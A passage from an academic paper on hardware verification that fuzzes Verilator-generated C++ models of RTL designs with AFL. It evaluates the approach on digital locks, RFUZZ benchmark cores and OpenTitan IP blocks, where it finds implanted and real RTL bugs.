49,54,81,82] use a human-crafted grammar to constrain tests
to comply with structural requirements of a specific target
application. Alternatively, mutational fuzzers take a correctly
formatted test as a seed, and apply mutations to the seed to
create new tests. Moreover, mutational fuzzers are tuned to be
either: 1) directed, or 2) coverage-guided. Directed mutational
fuzzers [3, 5, 13, 52, 84, 87, 94] favor mutations that explore
specific region within the target binary, i.e., prioritizing ex-
ploration location. Conversely, coverage-guided mutational
fuzzers [43, 57, 60, 68, 79, 91] favor mutations that explore
as much of the target binary as possible, i.e., prioritizing ex-
ploration completeness. For this work, we favor the use of
mutational, coverage-guided fuzzers, as they are both design-
agnostic, and regionally generic.

2.2.2 Test Execution Monitoring

Fuzzers monitor test execution using one of three approaches:
1) blackbox, 2) whitebox, or 3) greybox. Fuzzers that only
monitor program inputs and outputs are classified as blackbox
fuzzers [49, 54, 78]. Alternatively, fuzzers that track detailed
execution paths through programs with fine-grain program
analysis (source code required) and constraint solving are
known as whitebox fuzzers [9,12,15,23,27,66,84,89]. Lastly,
greybox fuzzers [2,5,26,52,55,57,60,68,79,81,82,87,91,94]
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offer a trade-off between black- and whitebox fuzzers by
deploying lightweight program analysis techniques, such as
code-coverage tracing. Since Verilator [64] produces raw C++
source code from RTL hardware, our approach can leverage
any software fuzzing technique—white, grey, or blackbox. In
our current implementation, we deploy greybox fuzzing, due
to its popularity in the software testing community.

3 Approach

To take advantage of advancements in software fuzzing for
hardware DV, we propose translating hardware designs to
software models, and then fuzzing the model directly. We call
this approach, Hardware Fuzzing, and illustrate it in Fig. 3.
Below we explain the three key components of our approach,
including how: 1) RTL hardware is translated to executable
software (step 1 in Fig. 3), 2) software fuzzers trace hardware
coverage (step 2 in Fig. 3), and 3) fuzzer-generated test cases
are interpreted to effectively stimulate the DUT (step 5 in
Fig. 3).

3.1 Translating Hardware to Software

Today, simulating RTL hardware involves translating HDL
into a functionally equivalent software (C/C++) model that
can be compiled and executed (§2.1.2). To accomplish this,
most hardware simulators [64, 85] contain an RTL compiler
to perform the translation. Therefore, we leverage a popular
open-source hardware simulator, Verilator [64], to translate
SystemVerilog HDL into a cycle-accurate C++ model for
fuzzing.

Like many compilers, Verilator first performs lexical analy-
sis and parsing (of the HDL) with the help of Flex [53] and
Bison [73], to generate an Abstract Syntax Tree (AST). Then,
it performs a series of passes over the AST to resolve pa-
rameters, propagate constants, replace don’t cares (Xs) with
random values, eliminate dead code, unroll loops/generate
statements, and perform several other optimizations. Finally,
Verilator generates C++ (or SystemC) code representing a
cycle-accurate model of the hardware. It creates a C++ class
for each Verilog module, and organizes classes according to
the original HDL module hierarchy [92].

To interface with the model, Verilator exposes public mem-
ber variables for each input/output to the top-level module,
and a public eval() method (to be called in a loop) in the
top C++ class. Each input/output member variable is mapped
to single/arrayed bool, uint32_t, or uint64_t data types,
depending on the width of each signal. Each call to eval()
updates the model based on the current values assigned to top-
level inputs and internal state variables. Two calls represent a
single clock cycle (one call for each rising and falling clock
edges).

3.2 Hardware Coverage Tracing
To efficiently explore a DUT’s state space, CDG techniques
rely on tracing coverage of past test cases to generate fu-
ture test cases. There are two main categories of coverage
metrics used in hardware verification [32, 56, 70]: 1) code
coverage, and 2) functional coverage. The coarsest, and most
widely-used, code coverage metric is line coverage. Line cov-
erage measures the percentage of HDL lines that have been
exercised during simulation. Alternatively, functional cov-
erage measures the percentage of various high-level design
functionalities—defined using special HDL constructs like
SystemVerilog Coverage Points/Groups—that are exercised
during simulation. Regardless of the coverage metric used,
tracing HDL coverage during simulation is often slow, since
coverage traced in the software (simulation) domain must be
mapped back to the hardware domain [32].

In an effort to compute DUT coverage efficiently prior
CDG techniques (RFUZZ [39] and DifuzzRTL [28]) develop
custom coverage metrics, e.g., multiplexer coverage, that can
be monitored by instrumenting the RTL directly. To insert the
instrumentation HDL into the design, these techniques imple-
ment a custom FIRRTL compiler optimization pass. However,
this limits their approach to designs that are implemented in
a high-level HDL like Chisel [4] or FIRRTL [41], since their
instrumentation compiler can only process designs in HDLs
that are translateable to FIRRTL.2

Rather than make incremental improvements to existing
CDG techniques, we recognize that: 1) software fuzzers al-
ready provide an efficient mechanism—e.g., binary instru-
mentation automatically inserted by compiler optimization
passes—to trace coverage of compiled C++ hardware models
(HSBs), and 2) the way Verilator translates RTL hardware to
software makes mapping software coverage to hardware cov-
erage implicit. On the software side, there are three main code
coverage metrics of increasing granularity: 1) basic block, 2)
basic block edges, and 3) basic block paths [50]. The most
popular coverage-guided fuzzers—AFL [91], libFuzzer [43],
and honggfuzz [68]—all trace edge coverage. On the hard-
ware side, Verilator conveniently generates straight-line C++
code for both blocking and non-blocking3 SystemVerilog
statements [92], and injects conditional code blocks (basic
blocks) for SystemVerilog Assertions and Coverage Points.
Therefore, optimizing test-generation for edge coverage of
the software model of the hardware during simulation,
translates to optimizing for code, FSM, and functional

2The RFUZZ paper states: "Our tool is language-agnostic since it can
work on arbitrary RTL designs expressed in the FIRRTL IR. Once a target
design is translated into FIRRTL IR from its source HDL, we can apply
compiler passes for the target RTL regardless of its source HDL" [39]. This
implies, the DUT must be described in an HDL that is translatable to FIRRTL
(e.g., Chisel). If a design is written in (System)Verilog, as most are, this
translation is experimental at best [8].

3Verilator imposes an order on the non-blocking assignments since C++
does not have a semantically equivalent assignment operator [64, 92]. Re-
gardless, this ordering does not effect code coverage.
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coverage of the RTL hardware itself. We demonstrate this
artifact in §5.4, §6.1–6.2, and Appendix B.3.

3.3 Interpreting Fuzzer-Generated Tests
For most software, a single input often activates an entire
set of state transitions within the program. Consequently, the
most popular software fuzzers assume the target binary reads a
single dimensional input—e.g., a single image or document—
from either a file, stdin, or a byte array [43, 68, 91]. As
Laeufer et al. point out [39], the execution model of hard-
ware is different. In an HSB, a sequence of inputs is required
to activate state transitions within the DUT. For example, a
4-digit lock (with a keypad) only has a chance of unlocking
if a sequence of four inputs (test cases) are provided. Fuzzing
this lock with single test cases (digits), will fail. Likewise,
fuzzing HSBs with software fuzzers that employ a single-
test-case-per-file model will also fail. Therefore, to stimulate
hardware with software fuzzers, we interpret single dimen-
sional fuzzer-generated tests in two dimensions: space and
time. We implement this interface in the form of a generic
fuzzing harness (testbench), which we describe in §4.1.

4 Implementation

While Verilator and fuzzer-provided compilers already pro-
vide solutions to the first two components of our approach,
hardware to software translation and coverage tracing, the re-
maining component, interpreting fuzzer-generated tests (§3.3)
requires a more tailored solution. Therefore, below we de-
scribe how to implement a generic fuzzing testbench harness
to interpret fuzzer-generated tests. Additionally, we briefly
describe the open-source infrastructure we implement to fuzz
hardware at scale on Google Cloud Platform (GCP).

4.1 Generic Fuzzing Testbench Harness
To adapt software fuzzers to the hardware execution model,
we implement a generic fuzzing harness (testbench) that trans-
forms one-dimensional test inputs, into a two-dimensional
sequence of inputs (§3.3). Our fuzzing harness—shown in
Algo. 1—continuously: 1) reads byte-level portions of fuzzer-
generated test files, 2) maps these bytes to hardware input
ports, and 3) advances the simulation clock by calling the
model’s eval() method twice, until there are no remaining
bytes to process.

4.1.1 Bus-Centric Harness

While the multi-dimensional fuzzing interface we develop
enables fuzzer-generated tests to effect state transitions in
hardware, it is not design-agnostic. Specifically, the ports of a
hardware model are not iterable (Algo. 1: line 4). A DV engi-
neer would have to create a unique fuzz harness (testbench)

Algorithm 1: Generic Hardware Fuzzing harness (testbench) that
maps one-dimensional fuzzer-generated test files to both spatial and
temporal dimensions.

Input: fuzz_test_file.hwf
1 dut←Vtop();
2 t f ← open( f uzz_test_ f ile.hw f );
3 while tf not empty do
4 foreach port ∈ dut.inputs do
5 tf.read((uint_8t*) port, sizeo f (port));
6 end
7 for k← 1 to 2 do
8 clock← (clock + 1)%2;
9 dut.eval();

10 end
11 end

for each DUT they verify. To facilitate DUT portability, we
take inspiration from how hardware engineers interface IP
cores within an SoC [17]. Specifically, we propose fuzzing IP
cores at the bus interface using a bus-centric harness.

To implement this harness, we could alter our prior harness
(Algo. 1) by mapping bytes from fuzzer-generated test files
to temporal values for specific signals of a bus-protocol of
our choice. However, this would create an exploration barrier
since bus-protocols require structured syntax, and most muta-
tional fuzzers lack syntax awareness [90]. In other words, the
fuzzer would likely get stuck trying to synthesize a test file,
that when mapped to spatio-temporal bus signal values, pro-
duces a valid bus-transaction. Instead, we implement a harness
that decodes fuzzer-generated test files into sequences of prop-
erly structured bus transactions using a bus-centric grammar
we describe below. Our current bus-centric harness is imple-
mented around the TileLink Uncached Lightweight (TL-UL)
bus protocol [29] with a 32-bit data bus, and illustrated in
Fig. 13.

4.1.2 Bus-Centric Grammar

To translate fuzzer-generated test files into valid bus transac-
tions we construct a Hardware Fuzzing grammar. We format
our grammar in a compact binary representation to facili-
tate integration with popular greybox fuzzers that produce
similar formats [43, 68, 91]. To match our bus-centric har-
ness, we implement our grammar around the same TL-UL
bus protocol [29]. Our grammar consists of Hardware Fuzzing
instructions (Fig. 4), that contain: 1) an 8-bit opcode, 2) 32-
bit address field, and 3) 32-bit data field. The opcode within
each instruction determines the bus transaction the harness
performs. We describe the mappings between opcodes and
TL-UL bus transactions in Table 1.

Note, there are two properties of our grammar that leave
room for various harness (testbench) implementations, which
we study in Appendix B. First, while we define only three
opcodes in our grammar, we represent the opcode with an
entire byte, leaving it up to the harness to decide how to map
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Figure 4: Hardware Fuzzing Instruction. A bus-centric harness (test-
bench) reads binary Hardware Fuzzing Instructions from a fuzzer-generated
test file, decodes them, and performs TL-UL bus transactions to drive the
DUT (Fig.13). Our Hardware Fuzzing Instructions comprise a grammar
(Tbl. 1) that aid syntax-blind coverage-guided greybox fuzzers in generating
valid bus-transactions to fuzz hardware.

Table 1: Hardware Fuzzing Grammar.

Opcode
Address

Required?
Data

Required? Testbench Action

wait no no advance the clock one period

read yes no TL-UL Get (read)

write yes yes TL-UL PutFullData (write)

Hardware Fuzzing opcode values to testbench actions. We
do this for two reasons: 1) a byte is the smallest addressable
unit in most software, facilitating the development of utilities
to automate generating compact binary seed files (that com-
ply with our grammar) from high-level markdown languages,
and 2) choosing a larger opcode field enables adding more
opcodes in the future, should we need to support additional
operations in the TileLink bus protocol [29]. Second, of the
three opcodes we include, not all require address and data
fields. Therefore, it is up to the harness to decide how it should
process Hardware Fuzzing instructions. While different imple-
mentations may choose to read fixed size instruction frames,
from our empirical analysis in Appendix B, we decide to im-
plement a harness that processes variable size instructions
frames, depending on the opcode (Table 1).

4.2 Hardware Fuzzing at Scale

To fuzz hardware at scale we design, implement, and open-
source a Hardware Fuzzing Pipeline (HWFP) modeled af-
ter Google’s OSS-Fuzz (Fig. 5). First, our pipeline builds
a Docker image (from the Ubuntu 20.04 base image) con-
taining a compiler (LLVM version 12.0.0), RTL simulator
(Verilator [64] version 4.0.4), software fuzzer, the target RTL
hardware, and a generic fuzzing harness (§4.1.1). From the
image, a container is instantiated on a GCP VM that:

1. translates the DUT’s RTL to a software model with Ver-
ilator [64],

2. compiles/instruments the DUT model, and links it with
the generic fuzzing harness (§4.1.1) and simulation en-
gine to create an HSB (Fig. 2),

3. launches the fuzzer for a set period of time, using the
timeout utility,

4. traces final HDL coverage of fuzzer-generated tests with
Verilator [64],

5. saves fuzzing and coverage data to a Google Cloud Stor-

Translate HW à SW
Compile/Instrument HSB

Fuzz HSB
Extract Final HDL Coverage

Save Data to GCS
Teardown VM

GCP VM

Fuzzing Container

Figure 5: Hardware Fuzzing Pipeline (HWFP). We design, implement,
and open-source a HWFP that is modeled after Google’s OSS-Fuzz [61]. Our
HWFP enables us to verify RTL hardware at scale using only open-source
tools, a rarity in hardware DV.

age (GCS) bucket, and lastly
6. tears down the VM.

Note, for benchmarking, all containers are instantiated on
their own GCP n1-standard-2 VM with two vCPUs, 7.5 GB
of memory, 50 GB of disk, running Google’s Container-
Optimized OS. In our current implementation, we use
AFL [91] (version 2.57b) as our fuzzer, but our HWFP is
designed to be fuzzer-agnostic.

Unlike traditional hardware verification toolchains, our
HWFP uses only open-source tools, allowing DV engineers
to save money on licenses, and spend it on compute. This
not only enhances the deployability of our approach, but
makes it ideal for adopting alongside existing hardware DV
workflows. This is important because rarely are new DV ap-
proaches adopted without some overlap with prior (proven)
techniques, since mistakes during hardware verification have
costly repercussions.

5 Feasibility Evaluation

In the first part of our evaluation, we address two techni-
cal questions around fuzzing software models of RTL hard-
ware with software fuzzers. First, how should we interface
coverage-guided software fuzzers with HSBs? Unlike most
software, HSBs contain other components—a testbench and
simulation engine (Fig. 2)—that are not the target of testing,
yet the fuzzer must learn to manipulate in order to drive the
DUT. Second, how does Hardware Fuzzing compare with
traditional dynamic verification methods, i.e., CRV, in terms
of time to coverage convergence? To address this first set of
questions, we perform several End-to-End (E2E) fuzzing anal-
yses on over 480 digital lock hardware designs with varying
state-space complexities.

5.1 Digital Lock Hardware
In this half of our evaluation, we fuzz various configurations
of a digital lock, whose FSM and HDL are shown in Fig. 6
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Figure 6: Digital Lock FSM. We use a configurable digital lock (FSM
shown here) to demonstrate: 1) how to interface software fuzzers with hard-
ware simulation binaries, and 2) the advantages of Hardware Fuzzing (vs. tra-
ditional CRV). The digital lock FSM can be configured in two dimensions:
1) total number of states and 2) width (in bits) of input codes.

and List. 1 (Appendix A), respectively. We choose to study
this design since the complexity of its state space is con-
figurable, and therefore, ideal for stress testing various DV
methodologies. Specifically, the complexity is configurable
in two dimensions: 1) the total number of states is config-
urable by tuning the size, N, of the single state register, and
2) the probability of choosing the correct unlocking code
sequence is adjustable by altering the size, M, of the compara-
tor/mux that checks input codes against hard-coded (random)
values (List. 1). We develop a utility in Rust, using the kaze
crate [71], to auto-generate 480 different lock state machines
of various complexities, i.e., different values of N, M, and
random correct code sequences.

5.2 Digital Lock HSB Architectures
To study these designs, we construct two HSB architectures
(Fig. 7) using two hardware DV methodologies: CRV and
Hardware Fuzzing. The CRV architecture (Fig. 7A) attempts
to unlock the lock through a brute-force approach, where
random code sequences are driven into the DUT until the un-
locked state is reached. If the random sequence fails to unlock
the lock, the DUT is reset, and a new random sequence is
supplied. If the sequence succeeds, an SVA is violated, which
terminates the simulation. The random code sequences are
constrained in the sense that only valid code sequences are
driven into the DUT, i.e., 1) each code in the sequence is in
the range [0,2M) for locks with M-bit code comparators, and
2) sequences contain exactly 2N − 1 input codes for locks
with 2N states. The CRV testbench is implemented with the
cocotb [77] framework and simulations are run with Verila-
tor [64].

Alternatively, the Hardware Fuzzing HSB (Fig. 7B) takes
input from a software fuzzer that generates code sequences
for the DUT. The fuzzer initializes and checkpoints, a process
running the HSB (Fig. 2), and repeatedly forks this process
and tries various code sequence inputs. If an incorrect code
sequence is supplied, the fuzzer forks a new process (equiva-
lent to resetting the DUT) and tries again. If the correct code
sequence is provided, an SVA is violated, which the fuzzer
registers as a program crash. The difference between CRV
and Hardware Fuzzing is that the fuzzer traces coverage dur-
ing hardware simulation, and will save past code sequences
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Figure 7: Digital Lock HSB Architectures. (A) A traditional CRV ar-
chitecture: random input code sequences are driven into the DUT until the
unlocked state is reached. (B) A software fuzzer generates tests to drive the
DUT. The fuzzer monitors coverage of the DUT during test execution and
uses this information to generate future tests. Both HSBs are configured to
terminate execution upon unlocking the lock using an SVA in the testbench
that signals the simulation engine (Fig. 2) to abort.

that get closer to unlocking the lock. These past sequences
are then mutated to generate future sequences. Thus, past
inputs are used to craft more intelligent inputs in the future.
To interface the software fuzzer with the HSB, we:

1. implement a C++ testbench harness from Algo. 1 that
reads fuzzer-generated bytes from stdin and feeds them
directly to the code input of the lock, and

2. instrument the HSB containing the DUT by compiling
it with afl-clang-fast++.

5.3 Interfacing Software Fuzzers with Hard-
ware

There are two questions that arise when interfacing software
fuzzers with HSBs. First, unlike most software applications,
software models of hardware are not standalone binaries.
They must be combined—typically by either static or dynamic
linking—with a testbench and simulation engine to form an
HSB (§2.1.2). Of these three components—DUT, testbench,
and simulation engine—we seek to maximize coverage of
only the DUT. We do not want to waste fuzzing cycles on
the testbench or simulation engine. Since coverage tracing
instrumentation provides an indirect method to coarsely steer
the fuzzer towards components of interest [5], it would be
considered good practice to instrument just the DUT portion
of the HSB. However, while the DUT is ultimately what we
want to fuzz, the fuzzer must learn to use the testbench and
simulation engine to manipulate the DUT. Therefore, what
components of the HSB should we instrument to maximize
fuzzer performance, yet ensure coverage convergence?

Second, when simulating hardware, the DUT must be reset
to a clean state before it can start processing inputs. Tradi-
tionally, the testbench portion of the HSB performs this reset
by asserting the DUT’s global reset signal for a set number
of clock cycles. Since the fuzzer instantiates, and repeatedly
forks the process executing the HSB, this reset process will
happen hundreds, or (potentially) thousands of times per sec-
ond as each test execution is processed. While some software
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Figure 8: Instrumentation Level vs. Coverage Convergence Rate. Dis-
tribution of fuzzer run times required to unlock various sized digital locks
(code widths are fixed at four bits), i.e., achieve ≈ full FSM coverage. For
each HSB, we vary the components we instrument for coverage tracing. Run
times are normalized to the median DUT-only instrumentation level (orange)
across each lock size (red line). While the fuzzer uses the testbench and
simulation engine to manipulate the DUT, instrumenting only the DUT does
not hinder the coverage convergence rate of the fuzzer. Rather, it improves it
when DUT sizes are small, compared to the simulation engine and testbench
(Fig. 9).

fuzzers [43, 91] enable users to perform initialization opera-
tions before the program under test is forked—meaning the
DUT reset could be performed once, as each forking opera-
tion essentially sets the HSB back to a clean state—-this may
not always be the case. Moreover, it complicates fuzzer–HSB
integration, which contradicts the whole premise of our ap-
proach, i.e., low-overhead, design-agnostic CDG. Therefore,
we ask: is this fuzzing initialization feature required to fuzz
HSBs?

5.3.1 Instrumenting HSBs for Fuzzing

To determine the components of the HSB we should instru-
ment, we measure the fuzzing run times to achieve approx-
imate full FSM coverage4 of several lock designs, i.e., the
time it takes the fuzzer to generate a sequence of input codes
that unlocks each lock. We measure this by modifying the
fuzzer to terminate upon detecting the first crash, which we
produce using a single SVA that monitors the condition of the
unlocked signal (List. 1). Specifically, using lock designs with
16, 32, and 64 states, and input codes widths of four bits, we
construct HSBs following the architecture shown in Fig. 7B.
For each HSB, we vary the components we instrument by
using different compiler settings for each component.5 First,
we (naïvely) instrument all components, then only the DUT.

4We use the term approximate when referring to full FSM coverage,
since we are not excising the lock’s reset state transitions (Fig. 6) in these
experiments.

5Verilator conveniently contains each component—DUT, testbench, and
simulation engine—in separate C++ files, so each file can be compiled with
separate settings (i.e., with or without coverage tracing instrumentation).

Figure 9: Basic Blocks per Simulation Binary Component. We break
down the number of basic blocks that comprise the three components within
HSBs of different size locks (Fig. 6 & List. 1), generated by Verilator [64]:
simulation engine and testbench (TB), and DUT. As locks increase in size,
defined by the number of FSM states (code widths are fixed to 4 bits), so do
the number of basic blocks in their software model.

Next, we fuzz each HSB 50 times, seeding the fuzzer with an
empty file in each experiment.

We plot the distribution of fuzzing run times in Fig. 8.
Since fuzzing is an inherently random process, we plot only
the middle third of run times across all instrumentation levels
and lock sizes. Moreover, all run times are normalized to the
median DUT-only instrumentation run times (orange) across
each lock size. In addition to plotting fuzzing run times, we
plot the number of basic blocks within each component of
the HSB in Fig. 9. Across all lock sizes, we observe that
only instrumenting the DUT does not handicap the fuzzer,
but rather improves the rate of coverage convergence! In fact,
we perform a Mann-Whitney U test, with a 0.05 significance
level, and find all the run-time improvements to be statisti-
cally significant. Moreover, we observe that even though the
run-time improvements are less significant as the DUT size
increases compared to the simulation engine and testbench
(Fig. 9), instrumenting only the DUT never handicaps the
fuzzer performance.

5.3.2 Hardware Resets vs. Fuzzer Performance

To determine if DUT resets present a performance bottleneck,
we measure the degradation in fuzzing performance due to
the repeated simulation of DUT resets. We take advantage of
a unique feature of a popular greybox fuzzer [91] that enables
configuring the exact location of initializing the fork server.6

This enables the fuzzer to perform any program-specific ini-
tialization operations once, prior to forking children processes
to fuzz. Using this feature, we repeat the same fuzzing run

6By default, AFL [91] instantiates a process from the binary under test,
pauses it, and repeatedly forks it to create identical processes to feed test
inputs to. The component of AFL that performs process forking is known as
the fork server.
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Figure 10: Hardware Resets vs. Fuzzer Performance. Fuzzing run times
across across digital locks (similar to Fig. 8) with different fork server initial-
ization locations in the testbench to eliminate overhead due to the repeated
simulation of hardware DUT resets. DUT resets are only a fuzzing bottleneck
when DUTs are small, reducing fuzzer–HSB integration complexity.

time analysis performed in §5.3.1, except we instrument all
simulation binary components, and compare two variations
of the digital lock HSB shown in Fig. 7B. In one testbench,
we use the default fork server initialization location: at the
start of main(). In the other testbench, we initialize the fork
server after the point where the DUT has been reset.

Fig. 10 shows our results. Again, we drop outliers by plot-
ting only the middle third of run times across all lock sizes
and fork server initialization points. Additionally, we normal-
ize all run times to the median “after DUT reset” run times
(orange) across each lock size. From these results, we apply
the Mann-Whitney U test (with 0.05 significance level) be-
tween run times. This time, only locks with 8 and 16 states
yield p-values less than 0.05. This indicates the overhead of
continuously resetting the DUT during fuzzing diminishes as
the DUT increases in complexity.7 Additionally, we note that
even the largest digital locks we study (64 states), are smaller
than the smallest OpenTitan core, the RISC-V Timer, in terms
of number of basic blocks in the software model (Fig. 9 &
Table 2).

5.4 Hardware Fuzzing vs. CRV
Using the techniques we learned from above, we perform a
run-time comparison analysis between Hardware Fuzzing and
CRV,8 the current state-of-the-art hardware dynamic verifica-
tion technique. We perform these experiments using digital

7While the appearance of Fig. 10 may allude that when the number
of states is 32, forking after DUT resets takes longer than forking at the
testbench entry point, deeper analysis reveals the variance makes this appear
so (the "forking after reset" median is still lower). Regardless, the main
takeaway from Fig. 10 is for large designs, the DUT reset overheads are not
a bottleneck.

8CRV is widely deployed in any DV testbenches built around the co-
cotb [77] or UVM [1] frameworks, e.g., all OpenTitan [44] IP core test-
benches.

locks of various complexities, from 2 to 64 states, and code
widths of 1 to 8 bits. The two HSB architectures we compare
are shown in Fig. 7, and discussed in §5.2. Note the fuzzer
was again seeded with an empty file to align its starting state
with the CRV tests.

Similar to our instrumentation and reset experiments (§5.3)
we measure the fuzzing run times required to achieve ≈ full
FSM coverage of each lock design, i.e., the time to unlock
each lock. We illustrate these run times in heatmaps shown
in Fig. 11. We perform 20 trials for each experiment and
average these run times in each square of a heatmap. While
the difference between the two approaches is indistinguish-
able for extremely small designs, the advantages of Hardware
Fuzzing become apparent as designs increase in complex-
ity. For medium to larger lock designs, Hardware Fuzzing
achieves full FSM coverage faster than CRV by over two
orders-of-magnitude, even when the fuzzer is seeded with
an empty file. Moreover, many CRV experiments were ter-
minated early (after running for five days) to save money on
GCP instances.

6 Practicality Evaluation

In the second part of our evaluation, we address two remain-
ing questions. First, how does Hardware Fuzzing compare
with prior RTL fuzzing schemes, e.g., RFUZZ [39], in terms
of HDL code coverage? While Laeufer et al. were the first to
demonstrate fuzzing RTL with RFUZZ [39], we argue for an
entirely different approach (Fig. 1), fuzzing software models
of RTL hardware, rather than the RTL hardware itself. Lastly,
how does Hardware Fuzzing perform in practice commercial-
grade hardware IP? To address these questions, we perform
E2E fuzzing analyses on several open-source hardware de-
signs, including five commercial-grade cores from Google’s
OpenTitan [44] SoC, four SiFive TileLink peripherals, three
RISC-V CPUs, and an FFT accelerator.

6.1 Hardware Fuzzing vs. RFUZZ
Unlike our approach, RFUZZ instruments RTL hardware di-
rectly by injecting coverage-tracing hardware into the RTL
when it is compiled from a high-level HDL, like FIRRTL, to
Verilog. Moreover, RFUZZ does not exploit any bus-specific
harnesses, rather, it generates design-specific harnesses that
are fed fuzzer-generated bit-vectors to hardware input ports,
as described in Algo. 1 and demonstrated in the fuzzing har-
ness built for the digital lock in Fig. 7b.

To demonstrate the differences between our approach and
RFUZZ, we compare the HDL line coverage achieved by both
approaches over the course of fuzzing eight different hard-
ware designs for 24 hours. Specifically, we fuzz the same eight
hardware designs in the original RFUZZ paper [39], including
the I2C, SPI, PWM, and UART SiFive TileLink IP blocks [63],
three RISC-V Sodor CPUs [59], and an FFT accelerator [58].
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Figure 11: Hardware Fuzzing vs. CRV. Run times for both Hardware Fuzzing (A) and CRV (B) to achieve ≈ full FSM coverage of various digital lock
(Fig. 6) designs—i.e., time to unlock the lock—using the testbench architectures shown in Fig. 7. Run times are averaged across 20 trials for each lock
design—defined by a (# states, code width) pair—and DV method combination. Across these designs, Hardware Fuzzing achieves full FSM coverage faster than
traditional CRV approaches, by over two orders of magnitude.

For each core, we use the same RFUZZ-generated test har-
ness across both approaches, but use different fuzzing mech-
anisms, as highlighted in Fig. 1. Specifically, RFUZZ uses a
custom fuzzer (very similar to AFL12) that directly measures
RTL coverage using Verilog-level instrumentation, while our
(Hardware Fuzzing) approach uses a software fuzzer (i.e.,
AFL) that measures RTL coverage using HSB-level instru-
mentation.

Since RFUZZ provides a command-line option to seed the
fuzzer with zero-level input signals for a provided number of
clock cycles, we perform several microbenchmarks to com-
pare the effects of varying this parameter across both fuzzing
setups. Specifically, for each core, we perform five trials with
both fuzzing techniques, using seed inputs that translate to
holding all DUT input signals at a logical zero for one, three,
and five clock cycles, and compare the results. To measure our
worst case performance vs. RFUZZ, we select the best-case
RFUZZ results (i.e., highest coverage across all trials), and
compare them with the worst-case Hardware Fuzzing results
(i.e., lowest coverage across all trials). Our results are plotted
in Fig. 12. After 24 hours of fuzzing, across all cores and
seeds, the average HDL line coverage improvement using our
Hardware Fuzzing approach over RFUZZ was 26.70%, while
the minimum and maximum improvements are 14.82% and
42.64%, respectively. Lastly, we apply the Mann-Whitney U
test (with 0.05 significance level) between all fuzzing trials
across all cores, and observe p-values less than 0.05.

6.2 Fuzzing OpenTitan IP
To address the last question—How does Hardware Fuzzing
perform in practice on commercial-grade hardware?—we
fuzz five IP blocks from Google’s OpenTitan silicon root-of-

Table 2: OpenTitan IP Core Complexity in HW and SW Domains.

IP Core HW LOC SW LOC # Basic Blocks* # SVAs†

AES 4,562 38,036 3,414 53

Alert Handler 4,198 16,260 2,920 34

HMAC 2,695 18,005 1,764 30

KMAC 4,585 119,297 6,996 44

RV Timer 677 3,111 290 8

* # of basic blocks in compiled software model with O3 optimization.
† # of SystemVerilog Assertions included in IP HDL at time of writing.

trust SoC [44], including the: AES, HMAC, KMAC, RISC-V
Timer, and Alert Handler cores. While each core performs
different functions,9 they all conform to the OpenTitan Com-
portability Specification [17], implying they are all con-
trolled via reads and writes to memory-mapped registers
over a TL-UL bus. By adhering to a uniform bus protocol,
we are able to re-use a generic fuzzing harness (Fig. 13), facil-
itating the deployability of our approach. Below, we highlight
the functionality of each IP core. Additionally, in Table 2, we
report the complexity of each IP core in both the hardware and
software domains, in terms of Lines of Code (LOC), number
of basic blocks, and number of SVAs provided in each core’s
HDL. Software models of each hardware design are produced
using Verilator, as we describe in §3.1.

6.2.1 Fuzzing OpenTitan IP with Empty Seeds

Unlike most software applications that are fuzzed [61], we
observe that software models of hardware are quite small
(Table 2). So, we decided to experiment fuzzing OpenTitan

9For more information on the functionalities of each OpenTitan IP block,
see https://docs.opentitan.org/hw/ip/.
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Figure 12: Hardware Fuzzing vs. RFUZZ. We fuzz eight different
hardware designs, including an FFT accelerator, RISC-V CPUs, and TileLink
peripherals, with our Hardware Fuzzing approach vs. RFUZZ [39] (Fig. 1),
using input seeds that provide zero-level input signals to the DUTs for one,
three, and five clock cycles. Across all cores and input seed configurations,
our approach yields 26.70% better HDL coverage on average (than RFUZZ)
after 24 hours of fuzzing.

cores using a single empty seed file as starting input, this time
for only one hour. We plot the results of this experiment in
Fig. 14. After only one hour of fuzzing with no proper starting
seeds, we achieve over 83% HDL line coverage across AES,
Alert Handler, HMAC, and RV Timer cores, and over 65%
coverage of the KMAC core.

6.2.2 Fuzzing for Bugs in OpenTitan IPs

While coverage is an important metric, the ultimate goal of
fuzzing hardware is to automatically uncover bugs, before
they percolate into fabricated silicon. Therefore, in our final
evaluation, we demonstrate the effectiveness of Hardware
Fuzzing at finding five RTL bugs, one in each OpenTitan
IP block we study. Specifically, in the AES, Alert Handler,
HMAC, and RV Timer IPs, we implant four of the same syn-
thetic bugs used in the Hack@DAC competition [20], and
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Figure 13: OpenTitan HSB Architecture. A software fuzzer learns to
generate fuzzing instructions (Fig. 4)—from .hwf seed files—based on a
hardware fuzzing grammar (§4.1.2). It pipes these instructions to stdin
where a generic C++ fuzzing harness fetches/decodes them, and performs the
corresponding TileLink bus operations to drive the DUT. SVAs are evaluated
during execution of the HSB, and produce a program crash (if violated), that
is caught and reported by the software fuzzer.
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Figure 14: Coverage vs. Time Fuzzing with Empty Seeds. Fuzzing five
OpenTitan [44] IP cores for one hour, seeding the fuzzer with an empty file in
each case, yields over 83% HDL line coverage in three out of four designs.

for the KMAC IP, we attempt to re-detect a bug found in the
wild, that was reported on the OpenTitan public GitHub (Issue
#6408).10 Across all IPs, we craft generic SVAs to produce
HSB crashes upon encountering out-of-spec hardware be-
haviors. These include SVAs to check FSM transitions, lock
registers, and other functional behaviors of an IP. In Table 3,
we describe the bugs in each IP, and for each IP except the
KMAC,11 we list the corresponding Hack@DAC bug num-
ber [20]. Additionally, in Table 3, we list the time it took our
fuzzer to detect each bug when seeded with a set of inputs
that simply resets and initializes each DUT to perform its
prescribed tasks. Namely, for the AES, our seed configures
the device to operate in CTR mode, for the Alert Handler, our
seed does nothing after resetting the device, for the HMAC,
our seed configures the device to perform SHA256 hashes, for
the KMAC, our seed configures the device to perform KMAC
operations in cSHAKE hashing mode, and lastly, for the RV

10https://github.com/lowRISC/opentitan/issues/6408
11The KMAC bug was not a Hack@DAC bug that was intentionally im-

planted, rather, it was a real bug. See link above.
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Table 3: Hardware Fuzzing RTL Bug Discovery Times.

IP Bug Description Hack@DAC
Bug #

Discovery
Time (s)

AES FSM bug causes DoS. 18 65.1

Alert Lock writable by software. 4 396.5
Handler

HMAC Incorrect padding pro-
duces insecure hash.

19 46.9

KMAC FSM bug skips entropy
state refresh.

N/A11 35548

RV Timer Faulty logic causes inaccu-
rate time interrupt tick.

15 5.1

Timer, our seed arms the timer. Across each core we study, we
are able to detect four out of five bugs in less than 10 minutes,
and all bugs in less than 10 hours, with initialization seeds
